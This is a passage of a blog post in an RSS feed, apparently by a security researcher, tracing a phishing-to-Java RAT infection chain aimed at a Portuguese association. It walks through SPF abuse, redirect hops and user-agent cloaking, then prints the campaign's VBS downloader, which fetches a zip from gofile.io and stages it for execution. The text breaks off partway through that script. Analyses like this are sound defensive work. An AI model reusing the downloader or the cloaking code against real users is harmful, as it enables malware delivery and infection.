<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>João Pedro Dias</title>
    <description>My Personal Web Page</description>
    <link>https://jpdias.me/</link>
    <atom:link href="https://jpdias.me/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Wed, 03 Jun 2026 13:34:13 +0000</pubDate>
    <lastBuildDate>Wed, 03 Jun 2026 13:34:13 +0000</lastBuildDate>
    <generator>Jekyll v3.10.0</generator>
    
      <item>
        <title>VoicePress5: Tracing a Phishing-to-Java RAT Infection Chain</title>
        <description>&lt;p&gt;Another day, another &lt;em&gt;not so boring&lt;/em&gt; phishing attempt. This time let’s dive into the analysis of a phishing attempt against a Portuguese volunteer association with a multi-hop infection chain designed to bypass most email phishing scanners.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;spreading-the-bait&quot;&gt;Spreading the Bait&lt;/h2&gt;

&lt;p&gt;The email is being spread using a trusted Spanish email service, &lt;em&gt;serviciodecorreo.es&lt;/em&gt;, which is authorized to send emails on behalf of various domains, including, in our case, &lt;em&gt;ourense.es&lt;/em&gt;. Because the SPF records for these domains authorize &lt;em&gt;serviciodecorreo.es&lt;/em&gt; as a legitimate sender, the malicious emails pass SPF validation and appear trustworthy. You can check this with &lt;a href=&quot;https://mxtoolbox.com/spf.aspx&quot;&gt;MXtoolbox - SPF Record Check&lt;/a&gt;, which returns &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v=spf1 include:_spf.serviciodecorreo.es ~all&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Subject: Envio em anexo - 202602213326.
Date:  	 26-02-2026 21:45:33
From: 	 placeholder &amp;lt;placeholder@ourense.es&amp;gt;
To: 	 placeholder@placeholder.pt

Exmos. Srs.

Envio em anexo faturas que se encontram por liquidar, 1 fatura já se encontra com 60 dias.

Atenciosamente

* 1 attachment: Fatura.pdf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The email does not contain any obvious threat. The attached PDF is innocuous by itself, as it only contains a link to a OneDrive (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://onedrive.live.com/view.aspx?resid=...&lt;/code&gt;) shared PDF file. This file has the same content and look, &lt;em&gt;except&lt;/em&gt; for the link on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ver fatura&lt;/code&gt; button, which now points to a URL shortener: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://t.co/xxxxxxxxxx&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;row&quot; style=&quot;text-align:center&quot;&gt;
  &lt;div class=&quot;column&quot;&gt;
    &lt;img style=&quot;width: 65%;&quot; alt=&quot;PDF file&quot; src=&quot;/images/javarat26/fatura.png&quot; /&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;This is a nice trick, as most email clients will trust files with links to legitimate sites such as OneDrive (having the short URL could trigger some more advanced scanners), and having the extra hop in the chain also reduces the probability of the short URL being followed and analyzed by automatic tools.&lt;/p&gt;

&lt;h2 id=&quot;getting-the-juice&quot;&gt;Getting the Juice&lt;/h2&gt;

&lt;p&gt;If we click on our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t.co&lt;/code&gt; URL we get redirected to a random &lt;em&gt;Hostinger&lt;/em&gt;-hosted free website (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lightsalmon-dragonfly-XXXXXX.hostingersite.com&lt;/code&gt;). What happens next depends entirely on your browser’s user agent and on a reCAPTCHA verification. If you try to access the website with a Linux-based user agent you are greeted with a broken page mentioning a random Adobe update. If you try to scan the website using, e.g., &lt;a href=&quot;https://urlscan.io&quot;&gt;URLScan.io&lt;/a&gt;, you are greeted with a valid and working CAPTCHA verification.&lt;/p&gt;

&lt;div class=&quot;row&quot; style=&quot;text-align:center&quot;&gt;
  &lt;div class=&quot;column&quot;&gt;
    &lt;img style=&quot;width: 80%;&quot; alt=&quot;Broken site&quot; src=&quot;/images/javarat26/brokensite.png&quot; /&gt;
  &lt;/div&gt;
    &lt;div class=&quot;column&quot;&gt;
    &lt;img style=&quot;width: 80%;&quot; alt=&quot;CAPTCHA&quot; src=&quot;/images/javarat26/recaptcha.png&quot; /&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;By doing some cURL magic with the user agent (or using a User Agent switcher in the browser) we can get &lt;em&gt;close&lt;/em&gt; to the juice.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl -A &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36&quot; &quot;https://lightsalmon-dragonfly-XXXXXX.hostingersite.com/?2003085881928339&quot; -L -v&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now we have a webpage that performs some JavaScript magic on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;window.onload&lt;/code&gt; based on the user agent information, again.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// ✅ Windows → mantém igual&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;isWindows&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;isChrome&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isEdge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;href&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https://t.co/h3SvBFiWgg&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;isMobile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;pickKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mobileTitle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;mobileMsg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;documentElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;lang&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerText&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;mobileTitle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;mobileTitle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;en&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;paragraph&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerText&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;mobileMsg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;mobileMsg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;en&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And we get a new short URL. A nice detail is that this campaign does not seem to target mobile devices, as it prompts users to open the website on a desktop when a mobile user agent is detected.&lt;/p&gt;

&lt;p&gt;By following the new URL we get to a &lt;a href=&quot;https://ngrok.com/&quot;&gt;ngrok&lt;/a&gt;-served page, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docXXXXXX.ngrok.app&lt;/code&gt;, and some new JavaScript magic. The code is almost the same, with the difference that it now redirects to a subpage of the ngrok URL, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdf.php&lt;/code&gt;. Feel free to check the code on the &lt;a href=&quot;https://urlscan.io/result/019cbabf-f9c9-742d-bca6-55ce1c44b3a0/dom/&quot;&gt;URLScan Report&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// ✅ Windows → mantém igual&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;isWindows&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;isChrome&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isEdge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;href&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;pdf.php&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If we follow the new link, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docXXXXXX.ngrok.app/pdf.php&lt;/code&gt;, we finally get some real juice: a VBS script file, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PL10-03-2026L.vbs&lt;/code&gt;. This is our malware downloader, extractor, and initialization script:&lt;/p&gt;

&lt;div class=&quot;language-visualbasic highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;Option&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Explicit&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;zipURL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;zipPath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;destFolder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;scriptToRun&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;objWinHttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;objADOStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;objFSO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shell&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wsh&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;Set&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;objFSO&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CreateObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Scripting.FileSystemObject&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Set&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shell&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CreateObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Shell.Application&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Set&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wsh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CreateObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;WScript.Shell&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;&apos; Abre a tela de confirmação&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;On&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Error&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Resume&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Next&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;wsh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Run&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;https://drive.google.com/file/d/&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;False&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;On&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Error&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;GoTo&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;zipURL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;https://store-eu-par-1.gofile.io/download/direct/762b5bcc-XXXX-XXXX-bcea-710b28db8cd6/voicepress5.zip&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;zipPath&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;C:\Users\Public\voicepress.zip&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;destFolder&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;C:\Users\Public\voicepress&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;scriptToRun&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;destFolder&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;\bin\voicepress.cmd&quot;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;&apos; Se ainda não tem o zip, baixa&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;If&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;objFSO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FileExists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;zipPath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Then&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;Set&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;objWinHttp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CreateObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;WinHttp.WinHttpRequest.5.1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;On&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Error&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Resume&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Next&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;objWinHttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Open&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;GET&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;zipURL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;False&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;objWinHttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Send&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;If&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Number&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Then&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;WScript&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Quit&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;If&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;On&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Error&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;GoTo&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;If&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;objWinHttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Status&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Then&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;Set&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;objADOStream&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CreateObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ADODB.Stream&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;objADOStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;objADOStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Open&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;objADOStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Write&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;objWinHttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ResponseBody&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;objADOStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SaveToFile&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;zipPath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;objADOStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Close&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;Set&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;objADOStream&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Nothing&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;Else&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;WScript&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Quit&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;If&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;Set&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;objWinHttp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Nothing&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;&apos; Cria a pasta destino&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;If&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;objFSO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FolderExists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;destFolder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Then&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;objFSO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CreateFolder&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;destFolder&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;If&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;&apos; Extrai o zip&lt;/span&gt;
